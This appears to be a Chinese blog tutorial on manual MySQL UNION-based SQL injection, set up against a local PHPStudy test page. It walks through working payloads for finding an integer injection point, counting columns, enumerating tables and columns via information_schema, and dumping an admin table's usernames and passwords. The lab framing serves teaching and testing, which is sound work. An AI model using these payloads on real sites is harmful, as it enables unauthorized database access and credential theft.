Mysql 联合查询手工注入详解

作者: 老夫不才 | 来源:发表于2019-04-19 01:56 被阅读92次

    0x00 演示环境

    Windows 7 64位旗舰版
    PHPStudy
    测试环境:Download
    Navicat:Download
    代码编辑器(我用的Sublime Text3,也可以用Vscode或者notepad++等,具体资源可在网上找)

    以下配置步骤比较详细,大佬请直接跳过,导入数据库,编辑代码连接信息即可
    安装好PHPStudy后,将测试环境解压,sql.php置于phpstudy目录下的WWW文件夹内

    WWW
    然后使用Navicat连接本地数据库(PHPStudy默认账号为root,密码root)
    1
    2
    配置好之后点击连接测试
    连接测试
    显示连接成功后点击确定保存连接
    然后新建一个数据库
    新建数据库
    新建数据库
    然后确定,保存数据库
    接下来导入压缩包内的cms.sql
    首先双击刚才建立的cms数据库,右击数据库,运行SQL文件
    导入数据库
    选择压缩包内的cms.sql
    image.png
    点击开始,导入数据库
    显示successfully后导入成功
    image.png
    然后使用代码编辑器修改WWW目录下的sql.php
    sql.php
    保存,访问http://127.0.0.1/sql.php?id=1
    view
    测试环境搭建成功

    0x01 基础知识

    SQL语法

    1.查询

    SELECT 字段名 FROM 表名
    

    多个字段名的时候用逗号隔开

    SELECT id,name,pass FROM user
    

    *可以表示全部字段

    SELECT * FROM user
    

    2.WHERE 限定查询条件

    /* 格式 */
    SELECT * FROM 表名 WHERE 字段名 运算符 值
    /* 示例 */
    SELECT 字段名 FROM user WHERE id=1
    SELECT 字段名 FROM user WHERE name='admin'
    SELECT 字段名 FROM user WHERE id=1 And name='admin'
    

    3.And 和 Or运算符
    在WHERE具有多个限定条件时,可以用And或Or表示多个条件之间的关系,其中And表示两个条件都具备,Or表示其中一个具备即可

    /* 查询user表中id为1并且name为admin的记录 */
    SELECT * FROM user WHERE id=1 and name='admin'
    /* 查询user表中id为1或者name为admin的记录 */
    SELECT * FROM user WHERE id=1 or name='admin'
    

    4.联合查询

    SELECT 字段名 FROM 表一 UNION SELECT 字段名 FROM 表二
    

    联合查询中同样可以使用WHERE限定查询条件
    注意:UNION联合查询时,前后两个SELECT查询的字段个数需保持一致,否则会报错

    基础语法就简单介绍这么多,更多详细介绍可前往W3SCHOOL了解

    SQL SELECT
    SQL WHERE
    SQL AND & OR运算符
    SQL ORDER BY
    SQL UNION

    0x02 联合查询注入

    首先访问http://127.0.0.1/sql.php?id=1

    sql.php
    可以看到连接中有个参数id,值为1,页面上显示的Title为user1,内容为test
    这里为了方便理解,我将最终执行的sql命令用红色字体输出在页面上
    然后将id的值改为2,http://127.0.0.1/sql.php?id=2
    id=2
    当id值为2时,Title值为user2,内容为test
    这里发现页面的内容是通过参数id来控制
    判断是否存在注入点及注入类型

    然后我们在参数id的值后面加上一个单引号

    sql.php?id=1'
    
    image.png

    发现页面显示false
    这里是因为我们将单引号带入参数的值中,破坏了sql语句的结构,引号没有闭合完整,导致执行失败,可以看到执行的sql命令为

    SELECT * FROM user where id=1'
    

    当然,在实际环境中不能通过一个单引号来判断已经存在注入
    可能页面检测到敏感字符就报错提示,或者其他原因
    所以需要再用and运算符来进行验证
    我们先代入' and '1'='1

    sql.php?id=1' and '1'='1
    
    image.png

    发现页面还是报错,这里是因为这个地方是整型注入而不是字符型注入
    在字符型注入的时候,我们需要先用一个单引号(或者双引号)来闭合字符串
    在整型注入的时候,我们不需要对前面的值进行闭合

    /* 字符型 */
    SELECT * FROM user WHERE id='1'
    /* 整型 */
    SELECT * FROM user WHERE id=1
    

    这里是整型,所以我们代入and 1=1

    sql.php?id=1 and 1=1
    
    and 1=1

    发现页面跟id=1时一样,这是因为and后面的表达式1=1是恒成立,所以不会对结果造成影响
    在这种情况下,我们还是不能判断这里存在注入点
    现实环境中可能会对我们的payload and 1=1进行过滤,而没有带入sql语句中执行
    所以还需要通过and 1=2来验证

    sql.php?id=1 and 1=2
    
    and 1=2

    这个时候页面没有报错,但是没有值了
    这是因为and后面的表达式1=2恒不成立,所以查询到的结果为空,页面上也就没有值

    这个时候我们可以判定参数id存在一个整型的注入

    判断参数个数

    当我们需要使用union去查询其他表(比如管理员表)的时候,前面也说了,需要保持union查询的字段个数一致,所以需要先知道当前语句返回的字段个数是多少

    sql.php?id=1 union select 1
    sql.php?id=1 union select 1,2
    sql.php?id=1 union select 1,2,3
    

    在带入select 1和select 1,2时,由于union前后查询的字段个数不一致,导致语句执行出错,所以页面输出false


    false

    当代入select 1,2,3时,union前后查询的字段个数一致,所以页面输出正常


    true

    所以可以通过union select 判断字段个数为3个

    同样,可以通过order by的方式判断字段个数

    order by具体可参考上文链接

    在order by 字段个数不大于查询字段个数时,语句会正常执行,当字段个数大于查询字段个数时,语句会报错

    sql.php?id=1 order by 1
    sql.php?id=1 order by 1,2
    sql.php?id=1 order by 1,2,3
    sql.php?id=1 order by 1,2,3,4
    

    当代入order by 1和order by 1,2和order by 1,2,3时,语句正常执行,页面正常显示


    order by

    当代入order by 1,2,3,4时,字段个数超出查询字段个数,语句执行报错,页面返回false


    order by

    由此可通过order by 判断查询字段个数为3个

    判断输出参数的位置

    由于查询的参数不一定输出在页面中,所以需要判断哪个参数在页面中输出

    由于有的页面只取查询到的第一条记录输出,而正常的参数是可以查到数据的,所以需要修改参数,让union之前的查询无法返回结果

    sql.php?id=-1
    sql.php?id=0
    sql.php?id=1 and 1=2
    ……
    

    思路很多,总之让前面的查询不到就可以
    然后再代入union select 1,2,3看看哪个数字输出在页面中


    image.png

    可以看到2和3输出在页面中,就可以确定这两个参数会输出

    0x03 获取数据

    剩下的就简单了,通过sql命令想查询的数据放到输出的参数位置上,具体含义学习一波mysql 命令就可以了

    获取当前数据库名称
    sql.php?id=0 union select 1,database(),3 
    
    image.png

    当前库名为test

    获取表名

    表名获取有两种办法,一种是通过information_schema库中的记录查找,另一种是通过表名字典猜测

    先介绍一下mysql中的information_schema库

    information_schema是MySQL自带的一个信息数据库,其保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。
    也就是说当你建立一个新的数据库,或者在已有的数据库中增删改表的话,都会记录在information_schema库中。

    我们需要的表名就存储在information_schema库中的TABLES表中,其中TABLE_SCHEMA字段记录该表名属于哪个数据库,TABLE_NAME记录表名名称


    image.png

    这样就可以通过以下命令查询指定数据库的所有表名

    select table_name from information_schema.tables where table_schema='库名';
    
    image.png

    根据命令构造注入payload

    sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test'
    
    image.png

    命令行下查到两个表,但页面只输出一个表名

    这是由于当前页面只输出查询到的第一条记录,这个时候可以通过limit 来限定查询到记录的起始位置,也可以通过GROUP_CONCAT()将多条记录合并为一条

    sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 0,1
    sql.php?id=0 union select 1,table_name,3 from information_schema.tables where table_schema='test' limit 1,1
    
    image.png
    image.png
    sql.php?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
    
    image.png
    获取字段名

    获取到表名后,由于不清楚该表有几个字段,所以不能直接去查询全部字段,可以通过information_schema库中的COLUMNS表来查询该表中的字段名,其中COLUMN_NAME就是字段名


    image.png
    sql.php?id=0 union select 1,column_name,3 from information_schema.columns where table_schema='test' and table_name='admin'
    sql.php?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='admin'
    
    image.png
    image.png
    获取数据

    剩下的就简单了,通过构造select查询语句去返回该字段具体内容即可

    sql.php?id=0 union select 1,user,pass from admin
    
    image.png

    相关文章

      网友评论

        本文标题:Mysql 联合查询手工注入详解

        本文链接:https://www.haomeiwen.com/subject/nlcvtqtx.html